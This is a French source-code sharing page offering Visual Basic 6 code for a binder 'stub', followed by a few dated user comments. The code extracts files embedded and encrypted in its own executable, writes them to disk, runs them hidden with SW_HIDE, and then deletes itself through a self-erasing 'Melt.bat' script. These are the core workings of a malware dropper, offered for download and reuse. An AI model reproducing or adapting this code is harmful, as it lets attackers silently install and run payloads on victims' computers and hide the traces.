0/5 (16 avis)
Vue 18 946 fois - Téléchargée 2 146 fois
Public Sub Main() On Error Resume Next 'Declarations Dim StrFile As String 'data du stub, stub data Dim StrBuffer As String 'Chaine de params utilisateur, user param's string Dim z, y As Long 'Var long, for var Dim LngParam(1 To 2) As Long 'Ret instr, returned instr Dim strSplited() As String 'Param Split "#" ''''''''''''''''''''''''''''''' Dim StrExec As String 'Param execution Dim strFilePath As String 'Param path Dim LngFileLen As Long 'param taille de fichier, param file size Dim LngFileName As String 'Param Nom du fichier, param filename Dim LngCursor As Long 'Pointeur de position dans StrFile, file position pointer ''''''''''''' 'A_ On récupere le code du stub 'A_ all the stub code in the string Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 StrFile = Space(FileLen(App.Path & "\" & App.EXEName & ".exe")) Get #1, 1, StrFile Close #1 ''''''''''''''''''''''''''''''' 'B _ On isole les params utilisateurs 'B _ user param get LngParam(1) = InStr(1, StrFile, "<&&>", vbBinaryCompare) LngParam(2) = InStr(1, StrFile, "###", vbBinaryCompare) StrBuffer = Mid(StrFile, LngParam(1) + 5, LngParam(2)) ''''''''''''''''''''''''''''''''''''' StrBuffer = Decrypt(StrBuffer) 'C _On Récupere la liste des taches 'C _Get task list (user param all) strSplited1 = Split(StrBuffer, "###") LngCursor = strSplited1(0) ''''''''''''''''''''''''''''''''''' 'E _Boucle de Déploiement des fichiers 'E _File deployment loop For z = 1 To UBound(strSplited1()) - 1 'E1 _Split des specs fichiers 'E1 _User param get (file) strSplited() = Split(strSplited1(z), "|") ''''''''''''''''''''''''''''' 'E2 _Assignation des specs aux variables 'E2 _User param variables assignment strFilePath = strSplited(1) LngFileLen = strSplited(2) LngFileName = strSplited(3) StrExec = strSplited(4) StrBuffer = Mid(StrFile, LngCursor + 1, LngFileLen) '''''''''''''''''''''''''''''''''''''''' 'E3 _Ecriture du fichier 'E3 _ File writing If Dir(InstallPath(strFilePath) & LngFileName) <> "" Then Kill (InstallPath(strFilePath) & LngFileName) Open InstallPath(strFilePath) & LngFileName For Binary As #1 Put #1, LOF(1) + 1, StrBuffer Close #1 '''''''''''''''''''''''' 'E4 _Mise a jour du pointeur 'E4 _Cursor update LngCursor = LngCursor + LngFileLen + 1 ''''''''''''''''''''''''''' 'E6 _Param Execution If StrExec = "Yes" Then ShellExecute hwnd, "open", InstallPath(strFilePath) & LngFileName, vbNullString, vbNullString, SW_HIDE '''''''''''''''''''' Next z 1 DoEvents 'G _Melt du Stub If strSplited1(UBound(strSplited1()) - 1) = "Yes" Then Open InstallPath("Temp Directory") & "Melt.bat" For Output As #1 Print #1, "@Echo off" Print #1, ":Begin" Print #1, "Del " & App.EXEName & ".exe" Print #1, "If Exist " & App.Path & "\" & App.EXEName & ".exe" & " Goto Begin" Print #1, "Del " & InstallPath("Temp Directory") & "Melt.bat" Close #1 Shell InstallPath("Temp Directory") & "Melt.bat", vbHide End If ''''''''''''''''' DoEvents End Sub
6 avril 2006 à 09:46
6 avril 2006 à 11:21
26 juin 2006 à 16:13
26 juin 2006 à 16:42
26 juin 2006 à 17:50
et sa peut marcher avec microsoft visual basic 2005 express edition??? :'(
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.